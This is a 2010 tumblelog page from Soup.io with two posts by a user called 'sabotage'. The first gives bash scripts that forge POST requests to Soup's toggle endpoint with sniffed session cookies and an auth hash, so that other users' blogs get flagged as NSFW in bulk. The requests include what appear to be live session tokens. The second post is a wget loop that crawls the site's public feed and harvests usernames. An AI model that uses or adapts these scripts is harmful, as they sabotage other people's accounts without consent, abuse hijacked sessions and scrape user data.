Tumblelog by Soup.io
Newer posts are loading.
You are at the newest post.
Click here to check if anything new just came in.

October 01 2010

sabotage

Howto flag soups from a list as NSFW in a crappy way

# you'll need to sniff a request to get a valid session cookie and the auth hash

###############
#souptoggledpwn.sh #
#!/bin/bash              #
###############

URL=$1
HOST=`echo $URL | cut -d"/" -f3`
BLOGID=`wget -q -O - $URL | grep "http://www.soup.io/remote/toggle/frame?blog_id" | cut -d"=" -f3 | cut -d"&" -f1`
 
echo "POST /remote/toggle?blog_id=$BLOGID&origin_host=$HOST HTTP/1.1"
echo "Referer: http://www.soup.io/remote/toggle/frame?blog_id=$BLOGID&origin_host=sabotage.soup.io"
echo -e "Host: www.soup.io\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nCookie: soup_session_id=3cb1557d8ef574be4e1a4f54709d35c3; soup_user_id=352961--5ff07c624e3f4edf3b7f495257ee6f160c25d8e8--29ac2d08eeb2415f82a4b2259f5ea7d6; __qca=P0-521035073-1276197988573; __utma=149530932.1989299628.1276197989.1285905888.1285909119.7; __utmz=149530932.1285909119.7.5.utmccn=(referral)|utmcsr=montjuic.soup.io|utmcct=/post/79645018/Verbs-que-acaben-en-ure|utmcmd=referral; base_domain_fef0644b35f54dd3a921341529dcc9ca=soup.io; __utmc=149530932; soup_video_ad=Fri%2C+01+Oct+2010+04%3A21%3A54+%2B0000; __utmb=149530932; fbsetting_fef0644b35f54dd3a921341529dcc9ca=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 47\n\nauth=d660d40237c2e922bddbf74949b7d7ff&type=flag\n"
echo


##############
#souptoggleup.sh  #
#!/bin/bash           #
##############

URL=$1
HOST=`echo $URL | cut -d"/" -f3`

echo "GET /remote/toggle/finish HTTP/1.1"
echo "Host: $HOST"
echo -e "User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: http://montjuic.soup.io/post/79645018/Verbs-que-acaben-en-ure\nCookie: __qca=P0-521035073-1276197988573; __utma=149530932.1989299628.1276197989.1285905888.1285909119.7; __utmz=149530932.1285909119.7.5.utmccn=(referral)|utmcsr=montjuic.soup.io|utmcct=/post/79645018/Verbs-que-acaben-en-ure|utmcmd=referral; base_domain_fef0644b35f54dd3a921341529dcc9ca=soup.io; __utmc=149530932; __utmb=149530932; fbsetting_fef0644b35f54dd3a921341529dcc9ca=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; soup_session_id=74c320f12df31c2a4fa66b5e1d34240c\nIf-None-Match: \"98705617cb68aab8556da510d7d4db72\"\n"
echo
Reposted byeinbrennred667karmakonsumcygenb0ck
sabotage

Howto crawl soup users in a crappy way

SINCE=79635596; while [ 0 ]; do echo "SINCE: $SINCE" > /dev/stderr; wget -O - http://www.soup.io/everyone?since=$SINCE > currentpage.html; echo "<bla>`grep "icon author" currentpage.html`</bla>" | xml sel -t -m '//a' -v @href -n; SINCE="`grep "everyone?since" currentpage.html | grep -v SOUP | cut -d'"' -f2 | cut -d"=" -f2`"; done > soups.txt
Reposted byeinbrennred667karmakonsum
Older posts are this way If this message doesn't go away, click anywhere on the page to continue loading posts.
Could not load more posts
Maybe Soup is currently being updated? I'll try again automatically in a few seconds...
Just a second, loading more posts...
You've reached the end.